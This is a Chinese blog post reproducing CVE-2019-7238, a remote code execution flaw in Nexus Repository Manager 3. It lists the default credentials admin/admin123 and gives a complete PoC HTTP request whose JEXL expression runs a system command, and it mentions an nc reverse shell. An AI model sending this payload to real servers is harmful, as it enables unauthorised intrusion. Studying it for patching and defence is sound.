Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞复现
发布日期:2021-05-25 11:46:43 浏览次数:33 分类:精选文章

本文共 1277 字,大约阅读时间需要 4 分钟。

漏洞背景

Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

影响范围

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

复现条件

  1. 未授权的访问
  2. 弱口令访问
  3. jar包上传

漏洞利用

nexus默认端口为8081,且存在未授权访问(3.15起关闭此功能),通过弱口令admin/admin123进入

在这里插入图片描述
需要上传jar包
但大佬说“真实环境则不需要,因为真实环境已经上传了assert
自己制作一个jar包

》》cat T1.java》》public class T1 {   	public static void main(String[] args) {   	System.out.println("hello world");	}	}》》javac T1.java》》jar cvf T1.jar T1.class

在这里插入图片描述

在这里插入图片描述
上传之后便可以用PoC了

POST /service/extdirect HTTP/1.1Host: IP:8081User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Type: application/jsonContent-Length: 308Connection: close{   "action":"coreui_Component","method":"previewAssets","data":[{   "page":1,"start":0,"limit":25,"filter":[{   "property":"repositoryName","value":"*"},{   "property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{   "property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

将PoC放入Burpsuite,更改下IP,我这边直接用的nc反弹shell

在这里插入图片描述
在这里插入图片描述
当然也可以手工利用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

将选项改为All Repositorles后点击Prevlew抓包

在这里插入图片描述

expressiontype的value处进行注入,即可达到与PoC同样的效果。

在这里插入图片描述

上一篇:文件上传%00截断的条件
下一篇:CVE-2019-15107 Webmin远程命令执行漏洞复现

发表评论

最新留言

做的很好,不错不错
[***.243.131.199]2025年04月27日 08时10分13秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章

900行c语言贪吃蛇,原生js实现的贪吃蛇网页版游戏完整实例 2023-01-24
ado读取多条oracle数据,Oracle ADO数据存取 2023-01-24
asp.mvc 4项目发布文件目录结构_如何用SpringBoot(2.3.3版本)快速搭建一个项目?文末有小彩蛋... 2023-01-24
aspen串联反应怎么输入_如何进步提升串联谐振试验装置的稳定性 2023-01-24
c++ string取子串_Integer与String的设计哲学 2023-01-24
c++ 数组批量赋值_数组之间不能赋值?穿个马甲吧! 2023-01-24
continue可以用if判断里面吗_谁能说说if()else()里的continue是干嘛的? 2023-01-24
ctrl c 和 ctrl v 不能用了_神奇操作,原来CTRL键还能这么用 2023-01-24
cytoscape安装java_Cytoscape史上最全攻略 2023-01-24
c语言程序设计年历显示,C语言程序设计报告《万年历》.doc 2023-01-24
C语言程序设计梁海英答案,1.5 习题 2023-01-24
c语言编写单片机中断,C语言AVR单片机中断程序写法 2023-01-24
ddr2的上电顺序_S5PV210 DDR2初始化 28个步骤总结 2023-01-24
excel中最常用的30个函数_Excel玩转数据分析常用的43个函数! 2023-01-24
flink sql设置并行度_Flink 参数配置和常见参数调优 2023-01-24
go 字符串替换_Go 每日一库之 quicktemplate 2023-01-24
hex editor neo下载_口袋妖怪爆焰黑手机版下载-口袋妖怪爆焰黑手游下载v4.3.0 安卓版... 2023-01-24
ICLOUD储存空间要升级吗_有人像我一样需要恢复苹果手机icloud空间ios备份时 微信卡住不动了吗(已解决)... 2023-01-24
jaccard相似度_自然语言处理之文本相似度计算 2023-01-24
java书籍_还搞不定Java多线程和并发编程面试题?你可能需要这一份书单! 2023-01-24